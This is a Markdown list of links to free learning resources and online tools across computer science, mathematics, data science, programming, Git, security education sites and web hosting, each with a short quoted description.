- [Teach Yourself Computer Science](https://teachyourselfcs.com) - _"Study all nine subjects below, in roughly the presented order, using either the suggested textbook or video lecture series, but ideally both. Aim for 100-200 hours of study of each topic, then revisit favorites throughout your career."_
- [The Missing Semester of Your CS Education](https://missing.csail.mit.edu/) - _"Classes teach you all about advanced topics within CS, from operating systems to machine learning, but there’s one critical subject that’s rarely covered, and is instead left to students to figure out on their own: proficiency with their tools."_
### Algorithms
- [Algorithms in the "Real World" (2018)](http://www.cs.cmu.edu/~guyb/realworld.html) - Compression, error correcting codes, cryptography, parallel algorithms, locality and I/O efficient algorithms, indexing and searching, nearest neighbors, dimensionality reduction.
- [Algorithms, 4th Edition](https://algs4.cs.princeton.edu/home/) - Princeton University - _"Essential information that every serious programmer needs to know about algorithms and data structures."_
- [Comparison of Algorithms](https://en.wikipedia.org/wiki/Sorting_algorithm#Comparison_of_algorithms) - See time complexity at a glance for various popular algorithms.
- [Dictionary of Algorithms and Data Structures](https://xlinux.nist.gov/dads) - _"This is a dictionary of algorithms, algorithmic techniques, data structures, archetypal problems, and related definitions."_
- [Introduction to algorithms](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/) ([problem sets](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-006-introduction-to-algorithms-fall-2011/assignments/)) - MIT OpenCourseWare.
- [Khan Academy - Algorithms](https://www.khanacademy.org/computing/computer-science/algorithms/) - _"We've partnered with Dartmouth college professors Tom Cormen and Devin Balkcom to teach introductory computer science algorithms, including searching, sorting, recursion, and graph theory. Learn with a combination of articles, visualizations, quizzes, and coding challenges."_
- [Skiena's Algorithms Lectures](https://www3.cs.stonybrook.edu/~algorith/video-lectures/).
#### Visualizations
- [HackerEarth](https://www.hackerearth.com/practice/algorithms/sorting/bubble-sort/visualize/) - Visualize sorting algorithms, step by step.
- [VisuAlgo](https://visualgo.net/en) - Visualising data structures and algorithms through animation.
### Articles
- [Famous Laws Of Software Development](https://www.timsommer.be/famous-laws-of-software-development/)
- [What every computer science major should know](http://matt.might.net/articles/what-cs-majors-should-know/)
### Computational complexity
- [Big-O Cheat Sheet](https://www.bigocheatsheet.com/) - bigocheatsheet.com
### Courses and videos
- [List of Computer Science courses with video lectures](https://github.com/Developer-Y/cs-video-courses)
### Free (e)books
- [IT eBooks](http://it-ebooks.info/)
- [Structure and Interpretation of Computer Programs (SICP)](https://mitpress.mit.edu/sites/default/files/sicp/index.html), by Harold Abelson, Gerald Jay Sussman and Julie Sussman. _"Licensed under a Creative Commons Attribution-ShareAlike 4.0 International License by the MIT Press."_
## Data science
### Jupyter
- [Jupyter Notebook for Beginners: A Tutorial](https://www.dataquest.io/blog/jupyter-notebook-tutorial/)
- [Six easy ways to run your Jupyter Notebook in the cloud](https://www.dataschool.io/cloud-services-for-jupyter-notebook/)
- [Tutorial: Advanced Jupyter Notebooks](https://www.dataquest.io/blog/advanced-jupyter-notebooks-tutorial/)
### Pandas
- [Modern Pandas](https://tomaugspurger.github.io/modern-1-intro) - _"This series is about how to make effective use of pandas, a data analysis library for the Python programming language. It's targeted at an intermediate level: people who have some experience with pandas, but are looking to improve."_
- [Official website](https://pandas.pydata.org) - _"pandas is an open source, BSD-licensed library providing high-performance, easy-to-use data structures and data analysis tools for the Python programming language."_
### Working with data (Pandas, NumPy, Matplotlib, IPython, Scikit-Learn...)
- [Kaggle: Micro-Courses](https://www.kaggle.com/learn/overview) - _"Practical data skills you can apply immediately: that's what you'll learn in these free micro-courses. They're the fastest (and most fun) way to become a data scientist or improve your current skills."_
- [Python Data Science Handbook: full text in Jupyter Notebooks](https://github.com/jakevdp/PythonDataScienceHandbook) - _"This repository contains the entire Python Data Science Handbook, in the form of (free!) Jupyter notebooks."_
## Drawing
- [Diagrams.net](https://app.diagrams.net/) - _"Powerful features. diagrams.net has everything you expect from a professional diagramming tool."_
- [Excalidraw](https://excalidraw.com/) - _"Excalidraw is a virtual collaborative whiteboard tool that lets you easily sketch diagrams that have a hand-drawn feel to them."_
## Free e-books and video courses
- [Packt Publishing – free programming ebooks and videos](https://www.packtpub.com/packt/offers/free-learning) - Daily offer of up-to-date, quality material.
## Hacking
- :heart: [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) - _"A collection of awesome lists for hackers, pentesters & security researchers."_
- [Hacksplaining](https://www.hacksplaining.com/) - _"Hacksplaining: Learn to hack."_
- [Hacker Tools](https://hacker-tools.github.io) - _"Learn to make the most of the tools that hackers have been using for decades."_
- [pwn.college](https://pwn.college) - _"Education platform to learn about, and practice, core cybersecurity concepts in a hands-on fashion."_
## LaTeX
- [Cheatsheet](https://wch.github.io/latexsheet/latexsheet.pdf) - _"LaTeX 2 cheat sheet.3"_
- [Mathpix Snip](https://mathpix.com) - _"Do you spend a lot of time typing equations in LaTeX? Try Mathpix Snip for iOS, Android, macOS, Windows or Linux and start converting images to LaTeX instantly!"_
- [Overleaf](https://www.overleaf.com) - _"The easy to use, online, collaborative LaTeX editor."_
- [Tables Generator](https://www.tablesgenerator.com/) - _"Create LaTeX tables online."_
- [Templates](http://www.latextemplates.com) - _"The best source of free quality LaTeX templates."_
- [Templates](https://www.overleaf.com/latex/templates) - _"Start your projects with quality LaTeX templates for journals, CVs, resumes, papers, presentations, assignments, letters, project reports, and more."_
- [Wikibook](https://en.wikibooks.org/wiki/LaTeX) - _"This is a guide to the LaTeX typesetting system. It is intended as a useful resource for everybody, from new users who wish to learn, to old hands who need a quick reference."_
## Linux & Unix
- [CIS 191: Linux and Unix - University of Pennsylvania](https://www.cis.upenn.edu/~cis191/index.html) - _"This half-credit course provides a thorough introduction to Unix and Linux. Topics will range from critical basic skills such as examining and editing files, compiling programs and writing shell scripts, to higher level topics such as the architecture of Unix and its programming model."_
- [Distrowatch](https://distrowatch.com) - _"DistroWatch is a website which provides news, distribution pages hit rankings, and other general information about various Linux distributions as well as other free software/open source Unix-like operating systems."_ ([from Wikipedia](https://en.wikipedia.org/wiki/DistroWatch))
- [Linux.com - What is Linux?](https://www.linux.com/what-is-linux/) - _"Here is all the information you need to get up to speed on the Linux platform."_
- [Linux Upskill challenge](https://linuxupskillchallenge.com/) - _"1 month long challenge with daily guided lessons to learn the skills required to sysadmin a remote Linux server from the commandline"_
## Mathematics
- [Mathematics 16A, 002 - Fall 2013](https://archive.org/details/ucberkeley-webcast-PL-XXv-cvA_iCCCqDD9uTufr5I3Xtr3szk) - UC Berkeley
- [Mathematics modules](https://www.kcl.ac.uk/study-at-kings/ug/subjects/mathematics) - Covers Calculus I, Linear Algebra, Intro to (Abstract) Algebra and Intro to Dynamical Systems. - King's College London
### Beginner topics
- [Khan Academy](https://www.khanacademy.org) - Brush up on arithmetic, algebra, geometry, trigonometry, statistics & probability, calculus, differential equations, linear algebra, functions.
### Calculus
- [Calculus III](http://tutorial.math.lamar.edu/Classes/CalcIII/CalcIII.aspx) - _Here are my online notes for my Calculus III course that I teach here at Lamar University. Despite the fact that these are my “class notes”, they should be accessible to anyone wanting to learn Calculus III or needing a refresher in some of the topics from the class._
- [Calculus for beginners, from MIT](http://www-math.mit.edu/~djk/calculus_beginners) - _"Calculus for Beginners and Artists"_
- [Calculus from scratch](https://www.coursera.org/instructor/robghrist) - Covers single variable in multiple courses. - Coursera (Robert Ghrist, University of Pennsylvania)
- [Calculus problem set](https://www.math.ucdavis.edu/~kouba/ProblemsList.html)
#### Derivatives
- [Derivative Calculator](https://www.derivative-calculator.net) - _"Calculate derivatives online — with steps and graphing!"_
- [Introduction to differentiation on ExamSolutions](https://www.examsolutions.net/a-level-maths/ocr/c1-tutorials/#Different) - Gradient, second derivative, tangents, normals, stationary points, increasing and decreasing functions.
- [Introduction to differentiation II on ExamSolutions](https://www.examsolutions.net/a-level-maths/ocr/c3-tutorials/#diff) - Exponential functions, chain rule, product rule, quotient rule, reciprocal function, exam questions, connected rates of change.
### Discrete mathematics
- [cs2102: Discrete Math](https://uvacs2102.github.io/) - _"Propositions and proofs, Proof methods (including proof by construction, contradiction, and induction), Logic (Boolean logic, logical formulas, quantifiers), Binary relations, State machines, Finite and infinite sets, Number theory, Counting techniques, Probability theory."_
- [Readings from MIT OpenCourseWare (2011)](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-fall-2010/readings/) on proofs, graph theory, recurrences, probability.
- [Readings from MIT OpenCourseWare (2015)](https://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-042j-mathematics-for-computer-science-spring-2015/) on proofs, graph theory, recurrences, probability.
#### Algorithms
##### Hopcroft-Karp
- [Bipartite Matching](https://www-m9.ma.tum.de/graph-algorithms/matchings-hopcroft-karp/index_en.html) - Interactive: _"Here we demonstrate the Hopcroft-Karp algorithm that solves the problem of finding maximal matchings on bipartite graphs."_
#### Binomial theorem
- [Intro to the Binomial Theorem](https://www.khanacademy.org/math/precalculus/x9e81a4f98389efdf:polynomials/x9e81a4f98389efdf:binomial/v/binomial-theorem) - Khan Academy
#### Graph theory
- [D3 Graph Theory](https://d3gt.com) - _"Learn graph theory interactively."_
- [Matching (Graph Theory)](https://brilliant.org/wiki/matching) - _"Definition, terminology, bipartite matching, examples."_
#### Rules of inference - logic proofs
- [Rules of Inference and Logic Proofs](http://sites.millersville.edu/bikenaga/math-proof/rules-of-inference/rules-of-inference.html) - Covers modus ponens, modus tollens, disjunctive syllogism, De Morgan's law, biconditional, conjunctions, disjunctions, equivalences, double negation.
### Encryption
- [Part 1: How RSA Works With Examples](http://doctrina.org/How-RSA-Works-With-Examples.html) - Barry Steyn
- [Part 2: Why RSA Works: Three Fundamental Questions Answered](http://doctrina.org/Why-RSA-Works-Three-Fundamental-Questions-Answered.html) - Barry Steyn
### Limits
- [Limits and continuity](https://www.khanacademy.org/math/differential-calculus/dc-limits) - Khan Academy
### Linear Algebra
- [Applied Linear Algebra 1](https://open.math.uwaterloo.ca/4?gid=314) - University of Waterloo (Canada)
- [Interactive Linear Algebra](https://textbooks.math.gatech.edu/ila) - _"This is an introductory textbook on linear algebra, written by Joe Rabinoff and Dan Margalit for Math 1553 at Georgia Tech."_
- [Matrix multiplication](http://matrixmultiplication.xyz) - Online tool to perform matrix calculations.
- Problem sets
- [PDF][exercises and problems in linear algebra, portland state university](https://web.pdx.edu/~erdman/LINALG/Linalg_pdf.pdf), Version July 13, 2014
### Machine learning
- [Mathematics for Machine Learning](https://mml-book.github.io) - _"We wrote a book on Mathematics for Machine Learning that motivates people to learn mathematical concepts. The book is not intended to cover advanced machine learning techniques because there are already plenty of books doing this. Instead, we aim to provide the necessary mathematical skills to read those other books."_
### Modular arithmetic
- [Modular arithmetic](https://modular-arithmetic.appspot.com/#modularArithmetic) - Clear, simple explanations: _"Numbers in a given modulo "wrap around". They reach a certain value, and then continue from the beginning up to that value. Then, begin again. [...]"_
### Number bases
- [Multiplication in base five](https://www.basic-mathematics.com/multiplication-in-base-five.html)
### Online tools
- [Desmos](https://www.desmos.com) - _"Graph functions, plot data, evaluate equations, explore transformations, and much more – for free!"_
- [Symbolab](https://www.symbolab.com) - _"Symbolab: equation search and math solver - solves algebra, trigonometry and calculus problems step by step."_ **(:heavy_dollar_sign: requires subscription for all features)**
- [Wolfram Alpha](https://www.wolframalpha.com) - _"Wolfram Alpha is a computational knowledge engine or answer engine."_ **(:heavy_dollar_sign: requires subscription for all features)**
### Statistics
- [Statistics 20, 003 - Fall 2010](https://archive.org/details/ucberkeley-webcast-PLFCCED623A3AB020F) - UC Berkeley
### Trigonometry
- [How To Learn Trigonometry Intuitively](https://betterexplained.com/articles/intuitive-trigonometry) - Better Explained
- [The trigonometry of non-right triangles](http://www.xaktly.com/XMathMain.html) -
Angle measurement, trigonometry basics, non-right triangle trig, inverse trig functions, analytic trigonometry, trigonometric equations video, polar coordinates, complex plane, rock climbing, conic sections.
## Music (ideal for programming)
- [Brainaural](https://brainaural.com) - _"What Are Brainwaves? Does Entrainement Work? Find out for yourself! Now with free audio file download."_
- [Music For Programming](http://musicforprogramming.net) - Play programming music right from your web browser in an IDE-like interface.
- [Rainy Mood](https://rainymood.com) (noise generator) - _"Helps you to focus, relax, and sleep. [...] The internet's most popular rain experience."_
## News
- [daily.dev](https://daily.dev/) - _"Get a feed of the hottest developer news. Read more quality articles. Stay up to date. Save time."_ (see it on :star: [GitHub](https://github.com/dailydotdev/daily))
## Online services
### Clean your inbox
- [Unroll.me](https://unroll.me) - _"Instantly see a list of all your subscription emails. Unsubscribe easily from whatever you don't want."_
### Diff checker (compare different files)
- [Diffchecker](https://www.diffchecker.com) - _"Diffchecker is a diff tool to compare text differences between two text files."_ Works with images/PDF too and even through the terminal with Node.js.
### Disposable/temporary emails
_"Disposable email addressing, also known as DEA or dark mail, refers to an approach where a unique email address is used for every contact or entity. The benefit is that if anyone compromises the address or utilises it in connection with email abuse, the address owner can easily cancel (or "dispose" of) it without affecting any of their other contacts."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Disposable_email_address))
- [10 Minute Mail](https://10minutemail.net) - _"10minutemail.net is a free, disposable e-mail service. Your temporary e-mail address will expire after 10 minutes, after which you cannot access it. You can extend the time by 10 minutes."_
- [Spamgourmet](https://www.spamgourmet.com) - Customize disposable emails on the fly.
- [Temp Mail Address](https://www.tempmailaddress.com) - Get an email assigned live that will expire according to your needs.
- [Temp Mail](https://temp-mail.org) - Automatically get assigned a temporary account where you can see in real time your emails coming in.
- [ThrowAwayMail](https://www.throwawaymail.com) - Obtain a temporary email that's valid for 48 hours.
### File sharing & storage
- [Box](https://www.box.com) - **10GB Free (250MB file size limit)**. _"Box, Inc., based in Redwood City, California, is a cloud content management and file sharing service for businesses. Official clients and apps are available for Windows, macOS, and several mobile platforms."_ ([from Wikipedia](<https://en.wikipedia.org/wiki/Box_(company)>))
- [Dropbox](https://www.dropbox.com) - **2GB Free**. _"Dropbox is a file hosting service operated by the American company Dropbox, Inc., headquartered in San Francisco, California, that offers cloud storage, file synchronization, personal cloud, and client software."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Dropbox_%28service%29))
- [Firefox Send](https://send.firefox.com) - Send up to **2.5GB** files when signing up or **1GB privately**, without signing in. Decide for how long to store your files online, who can download them and how many times.
- [Google Drive](https://www.google.com/drive) - **15GB Free**. _"Google Drive is a file storage and synchronization service developed by Google. [...] Google Drive allows users to store files on their servers, synchronize files across devices, and share files."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Google_Drive))
- [Hightail](https://www.hightail.com) - **2GB Free (100MB file size limit), 7 days file expiration**. _"Hightail, formerly YouSendIt, is a cloud service that lets users send, receive, digitally sign and synchronize files."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Hightail))
- [pCloud](https://www.pcloud.com) - **10GB Free**. _"pCloud is the secure cloud storage, where you can store, share and work on all your files. You can access them on any device, anywhere you go!"_
- [Sync](https://www.sync.com) - **5 GB of secure file storage with basic sharing features**. 2048-bit RSA, SSL/TLS encryption, end-to-end encryption, 30 days version history, restore & rewind, password protected sharing, remote device lockout.
- [WeTransfer](https://wetransfer.com) - Free: Send up to **2GB** with **7 days** file expiration.
### Gantt charts
- [Teamgantt](https://teamgantt.com) - _"TeamGantt is the refreshing solution that brings project scheduling software online. You can now plan and manage your projects with this super-easy-to-use gantt software. Inviting your co-workers, teammates, and friends to view and edit your gantt chart is simple and fun."_
### Image hosting
- [500px](https://web.500px.com) - Primarily used to showcase photography.
- [Flickr](https://www.flickr.com) - _"Flickr is an image hosting service and video hosting service. It was created by Ludicorp in 2004."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Flickr))
- [Free Image Hosting.net](http://www.freeimagehosting.net) - No sign up required.
- [Google Photos](https://photos.google.com) (storage included with Google Drive, **15GB for free**) - _"Google Photos is a photo sharing and storage service developed by Google."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Google_Photos))
- [ImageShack](https://imageshack.us/)- _"Unlimited space to host images, easy to use image uploader, albums, photo hosting, sharing, dynamic image resizing on web and mobile."_
- [Imgbox](https://imgbox.com) - _"Hotlinking, super blazing fast, 10MB maximum file size, simple interface, unlimited storage space, unlimited storage time."_
- [Imgur](https://imgur.com) - _"Imgur is an online image sharing community and image host founded by Alan Schaaf in 2009."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Imgur))
- [Postimage](https://postimages.org) - _"Provides free image upload and hosting integration for forums. Free picture hosting and photo sharing for websites and blogs."_
### Manage your privacy
- [Firefox Monitor](https://monitor.firefox.com) - _"See if you’ve been part of an online data breach. Find out what hackers already know about you. [...] If your information surfaces in a new data breach, we’ll send you an alert. [...] Get ongoing breach monitoring for multiple email addresses."_
### Receive SMS
- [Receive SMS](https://receive-smss.com) - _"receive-smss.com is a free service for receiving SMS messages and voice mails online. There is no need to register. Just select your phone number from the list below. You can use it to receive messages from Facebook, Telegram, WeChat, VK, PayPal, AliPay and more."_
- [quackr](https://quackr.io) - _" quackr allows you to use a secure temporary phone number instead of your real phone number on the internet. Use quackr phone numbers to receive sms online in USA, UK & 22 other countries!"_
## Open source
- [Open Source Guides](https://opensource.guide) - _"Open source software is made by people just like you. Learn how to launch and grow your project."_
## Programming
### App monitoring
- :heavy_dollar_sign: [Datadog](https://www.datadoghq.com) - _"Modern monitoring & analytics. See inside any stack, any app, at any scale, anywhere."_
- :heavy_dollar_sign: [Dynatrace](https://www.dynatrace.com/solutions/application-monitoring) - _"Dynatrace application monitoring provides all performance metrics in real time and detects and diagnoses problems automatically."_
- [Uptime Robot](https://uptimerobot.com) - _"Downtime Happens. Get Notified! 50 Monitors, Checked Every 5 Minutes, Totally Free!"_
### Basics
- [SoloLearn](https://www.sololearn.com) - _"Learn on the web and on the go. Available on all major devices and platforms. Always pick up where you left off. More simple and enjoyable than ever!"_
### Books
[Programming Notes for Professionals books](https://books.goalkicker.com/) - Wide range of relevant topics (algorithms, C++, CSS, Git, HTML5, JavaScript, LaTeX, Linux, Python, SQL, etc.). _"Books are updated weekly."_
### Coding challenges
- [Challenge Rocket](https://challengerocket.com) - _"Solve a challenge. Test your skills. Get hired."_
- [Code Abbey](https://www.codeabbey.com) - Somewhat more beginner-oriented. _"We believe that three things lead to success: Practice, Practice and Practice!"_
- [CodeSignal](https://codesignal.com) - _"CodeSignal (formerly CodeFights) is a skills-based assessment platform operated by American company BrainFights, Inc., whose mission is to discover, develop and promote technical talent. [...] CodeSignal applies game mechanics that offer developers of all skill levels online computer programming challenges for both instructional and recruiting purposes."_ ([from Wikipedia](https://en.wikipedia.org/wiki/CodeSignal))
- [CodeWars](https://www.codewars.com) - _"Achieve mastery through challenge. Improve your skills by training with others on real code challenges."_
- [Coderbyte](https://coderbyte.com) - _"Get access to the best collection of coding challenges that you can solve directly online in 10 programming languages. The challenges come with official solutions and tens of thousands of user solutions. You can also brush up on your skills by reading our tutorials in topics like advanced JavaScript features, data structures, and algorithm interview questions asked at companies like Google and Microsoft."_
- [CodinGame](https://www.codingame.com) - _"The new way to improve your programming skills while having fun and getting noticed."_
- [Exercism](https://exercism.io) - _"Level up your programming skills with 3,066 exercises across 51 languages, and insightful discussion with our dedicated team of welcoming mentors. Exercism is 100% free forever."_
- [HackerEarth](https://www.hackerearth.com) - _"Explore 4 different programming tracks, solve over 2,000 coding problems, and crack your coding interview."_
- [HackerRank](https://www.hackerrank.com) - _"Join over 7 million developers. Practice coding, prepare for interviews, and get hired."_
- [LeetCode](https://leetcode.com) - _"LeetCode is the best platform to help you enhance your skills, expand your knowledge and prepare for technical interviews."_
- [Project Euler](https://projecteuler.net) - _"Project Euler (named after Leonhard Euler) is a website dedicated to a series of computational problems intended to be solved with computer programs."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Project_Euler))
- [Sphere Online Judge](https://www.spoj.com) - _"Become a true programming master. Learn how to code and build efficient algorithms."_
- [Topcoder](https://www.topcoder.com) - _"Topcoder (formerly TopCoder) is a crowdsourcing company with an open global community of designers, developers, data scientists, and competitive programmers. Topcoder pays community members for their work on the projects and sells community services to corporate, mid-size, and small-business clients."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Topcoder))
### Documentation
- [GitBook](https://www.gitbook.com) - _"Document Everything! For you, your users and your team. [...] A place to think and track ideas for you & your team. [...] A home for your team, best-practices and thoughts. [...] Beautiful docs for your APIs, Products, FAQs, User Guides, ..."_
- [Sphinx](http://www.sphinx-doc.org) - _"Sphinx is a tool that makes it easy to create intelligent and beautiful documentation, written by Georg Brandl and licensed under the BSD license. It was originally created for the Python documentation, and it has excellent facilities for the documentation of software projects in a range of languages."_
### Interview preparation
- [Interview Cake](https://www.interviewcake.com) - Check out their paid course/coaching too! - _"Free practice programming interview questions. Interview Cake helps you prep for interviews to land offers at companies like Google and Facebook."_
#### Books
- [Cracking the Coding Interview](http://www.crackingthecodinginterview.com), by Gayle Laakmann McDowell.
#### Facebook
- [Interviewing at Facebook — On-Site JavaScript Technical Interview Questions](https://medium.com/javascript-in-plain-english/facebook-on-site-technical-interview-1264cacad263) - Medium, Adi S.
#### Google
- [Interviewing at Google — JavaScript Assessment Questions](https://medium.com/javascript-in-plain-english/interviewing-at-google-javascript-assessment-questions-f9bf0c0df157) - Medium, Adi S.
### Games
#### CSS
- [CSS Diner](https://flukeout.github.io) - _"It's a fun game to learn and practice CSS selectors."_
- [Flexbox Froggy](http://flexboxfroggy.com) - _"A game for learning CSS flexbox."_
- [Flexbox Zombies](https://flexboxzombies.com/p/flexbox-zombies) _"This is a Mastery Game. Each section unravels part of the plot, gives you mastery over a new flexbox concept, and presents zombie survival challenges that force you to solidify your new skills like your life depends on it."_
- [Grid Critters](https://gridcritters.com) - _"Completely learn CSS Grid once and for all."_
- [Grid Garden](https://codepip.com/games/grid-garden) - _"How well can you tend to your carrot garden using CSS grid? In this game, you must water your carrot crops and poison the weeds by mastering CSS grid, a powerful new module that makes 2-dimensional grid layouts a piece of cake. With it you can define columns, rows, and grid template areas."_
#### JavaScript
- [CheckiO](https://checkio.org) - _"Coding games for beginners and advanced programmers where you can improve your coding skills by solving engaging challenges and fun task using JavaScript."_
- [Screeps](https://screeps.com) - _"It’s an open-source sandbox MMO RTS game for programmers, wherein the core mechanic is programming your units’ AI. You control your colony by writing JavaScript which operate 24/7 in the single persistent real-time world filled by other players on par with you."_
#### Projects and ideas
- [Build your own X](https://github.com/danistefanovic/build-your-own-x) - _"Build your own (insert technology here)"_
#### Python
- [CheckiO](https://checkio.org) - _"Coding games for beginners and advanced programmers where you can improve your coding skills by solving engaging challenges and fun task using Python."_
- [TwilioQuest](https://www.twilio.com/quest) - _"Learn to code and lead your intrepid crew on a mission to save The Cloud in TwilioQuest, a PC role-playing game inspired by classics of the 16-bit era. Free forever, and available now for Windows, Mac, and Linux."_
#### Security
- [Wargames](https://overthewire.org/wargames) - _"The wargames offered by the OverTheWire community can help you to learn and practice security concepts in the form of fun-filled games."_
#### Service workers
- [Service Workies](https://serviceworkies.com) - _"Learn Service Workers inside and out with the new PWA Mastery Game."_
### Git / GitHub
- [Conventional Commits](https://www.conventionalcommits.org/) - _"A specification for adding human and machine readable meaning to commit messages."_
- [Git Cheatsheet](http://ndpsoftware.com/git-cheatsheet.html) - _"Interactive Git Cheatsheet, categorizing commands based on what they affect."_
- [Git Immersion](http://gitimmersion.com) - _"A guided tour that walks through the fundamentals of Git, inspired by the premise that to know a thing is to do it."_
- [GitHowTo](https://githowto.com) - _"Git How To is a guided tour that walks through the fundamentals of Git, inspired by the premise that to know a thing is to do it."_
- [GitHub Learning Lab](https://lab.github.com/) - _"With GitHub Learning Lab, grow your skills by completing fun, realistic projects. Get advice and helpful feedback from our friendly Learning Lab bot."_
- [Learn Git Branching](https://learngitbranching.js.org) - _"An interactive Git visualization tool to educate and challenge!"_
- [Microsoft Learn GitHub modules](https://docs.microsoft.com/en-us/learn/browse/?terms=Github) - _"Learn new skills and discover the power of Microsoft products with step-by-step guidance."_
- [Pro Git Book](https://git-scm.com/book/en/v2) - _"The entire Pro Git book, written by Scott Chacon and Ben Straub and published by Apress, is available here. All content is licensed under the Creative Commons Attribution Non Commercial Share Alike 3.0 license. Print versions of the book are available on Amazon.com."_
- [Productive Git for Developers](https://egghead.io/courses/productive-git-for-developers) - _"You will walk through a series of scenarios which you’ll most commonly encounter in your daily work life as a developer."_.
- [Step-by-step guide to contributing on GitHub](https://www.dataschool.io/how-to-contribute-on-github/) - _"Have you thought about contributing to an open source project, but you're too confused (or intimidated) by the process to even try? I've been there too!"_
- [Try GitHub](http://try.github.io) - _Resources to learn Git: Handbook, cheat sheets, git commands in the browser, etc._
### iOS
#### Swift
- [Developing iOS 10 Apps with Swift](https://itunes.apple.com/us/course/developing-ios-10-apps-with-swift/id1198467120?ign-mpt=uo%3D8) - Stanford
### Java
- [Introduction to Programming in Java](https://introcs.cs.princeton.edu/java/home/) - Princeton University - _"Textbooks for a first course in computer science for the next generation of scientists and engineers."_
- [JetBrains Academy](https://www.jetbrains.com/academy) - _"You’ll progress through the track building around 5 different projects. Eventually you’ll be able to create a project that will showcase your skills at the junior Java Developer level."_.
### JavaScript
- [You Don't Know JS (book series)](https://github.com/getify/You-Dont-Know-JS) - _"This is a series of books diving deep into the core mechanisms of the JavaScript language."_
- [JavaScript Arrays](https://www.executeprogram.com) - _"Memorize the JavaScript array methods quickly, including weird corner cases; no more looking them up. Slice, filter, map, reduce, and the rest."_
### Kotlin
- [JetBrains Academy](https://www.jetbrains.com/academy) - _"You’ll progress through the track building 5 different projects with increasing difficulty. You'll get to know the syntax of Kotlin and the features that make it a laconic language."_.
### Markdown
- [Markdown: Syntax](https://daringfireball.net/projects/markdown/syntax) - _"This document is itself written using Markdown; you can see the source for it by adding ‘.text’ to the URL"_.
- [Mastering Markdown](https://masteringmarkdown.com/) - _"A Mini Series that will change how you write"_.
### Python
- [JetBrains Academy](https://www.jetbrains.com/academy) - _"You’ll progress through the track building 5 different projects with increasing difficulty. You'll get to know the basic syntax of Python, some standard libraries and the Django framework that is used to build web applications."_.
- [Python Design Patterns](https://python-patterns.guide/) - _"[...] evolving guide to design patterns in the Python programming language."_.
#### Hosting
- [Python Anywhere](https://www.pythonanywhere.com/) - _"Host, run, and code Python in the cloud!"_
### Questions and answers
- [Stack Overflow](https://stackoverflow.com) - _"Stack Overflow is a question and answer site for professional and enthusiast programmers."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Stack_Overflow)
### Regular expressions (regex)
- [RegexOne](https://regexone.com) - _"Learn Regular Expressions with simple, interactive exercises."_
- [regex101](https://regex101.com) - _"Online regex tester, debugger with highlighting for PHP, PCRE, Python, Golang and JavaScript."_
- [Regexes - Execute Program](https://www.executeprogram.com) - _"Learn the common regex features. Boundaries, repetition, wildcards, character sets, character classes, and others."_
### SQL
- [SQL Zoo](https://sqlzoo.net) - _"Learn SQL using: SQL Server, Oracle, MySQL, DB2, and PostgreSQL."_
### TypeScript
- [TypeScript - Execute Program](https://www.executeprogram.com) - _"Static types and the TypeScript language from the ground up, whether you've used static types or not. Basic JavaScript knowledge required."_
## Startups
- [Notes Essays-Peter Thiel's CS183: Startup-Stanford, Spring 2012](http://blakemasters.com/peter-thiels-cs183-startup) - There is a book available from those notes: [Zero to One: Notes on Startups, or How to Build the Future](https://amzn.to/2I6AlDJ).
## Technology
- [Version Museum](https://www.versionmuseum.com) - _"Version Museum showcases the visual history of popular websites, operating systems, applications, and games that have shaped our lives. Much like walking through a real-life museum, this site focuses on the design changes of historic versions of technology, rather than just the written history behind it."_
## Terminal / Command-line interface
- [Asciinema](https://asciinema.org) - _"Record and share your terminal sessions, the right way."_
## Typing faster
- [10FastFingers](https://10fastfingers.com) - _"Test & Improve your Typing Speed with our free Typing Games."_
- [Keybr](https://keybr.com) - _"Typing Lessons. Take typing speed test, practice your touch typing skills, learn to type faster and with fewer errors with this free online typing tutor."_
- [Typing.io](https://typing.io) - _"Typing.io is a typing tutor/trainer for programmers. Typing.io's lessons are based on open source code, allow you to practice typing the key sequences that appear in real code."_
## Variety
- [Free for developers](https://free-for.dev) - _"This is a list of software (SaaS, PaaS, IaaS, etc.) and other offerings that have free tiers for developers."_
## Web
### Buying a domain name
- [BlueHost](https://www.bluehost.com/)
- [BuyDomains.com](https://www.buydomains.com/)
- [Domain.com](https://www.domain.com/)
- [DreamHost](https://www.dreamhost.com/)
- [GoDaddy](https://godaddy.com/domains)
- [HostGator](https://www.hostgator.com/)
- [Name.com](https://www.name.com/)
- [NameCheap](https://www.namecheap.com/)
### Cloud Computing
- [AWS](https://aws.amazon.com) - _"Amazon Web Services is a subsidiary of Amazon that provides on-demand cloud computing platforms to individuals, companies and governments, on a metered pay-as-you-go basis."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Amazon_Web_Services))
- [Digital Ocean](https://www.digitalocean.com) - _"DigitalOcean provides developers cloud services that help to deploy and scale applications that run simultaneously on multiple computers."_ ([from Wikipedia](https://en.wikipedia.org/wiki/DigitalOcean))
- [Google Cloud Platform](https://cloud.google.com) - _"Google Cloud Platform, offered by Google, is a suite of cloud computing services that runs on the same infrastructure that Google uses internally for its end-user products, such as Google Search and YouTube."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Google_Cloud_Platform))
- [Linode](https://www.linode.com) - _"Instantly deploy an SSD cloud server running with your choice of Linux distro, resources, and node location."_
- [Rackspace Cloud](https://www.rackspace.com/cloud) - _"The Rackspace Cloud is a set of cloud computing products and services billed on a utility computing basis from the US-based company Rackspace. Offerings include web application hosting or platform as a service ("Cloud Sites"), Cloud Storage ("Cloud Files"), virtual private server ("Cloud Servers"), load balancers, databases, backup, and monitoring."_ ([from Wikipedia](https://en.wikipedia.org/wiki/Rackspace_Cloud))
### Information on websites
- [SecurityTrails - DNS Trail](https://securitytrails.com/dns-trails) - Review the history of a domain name.
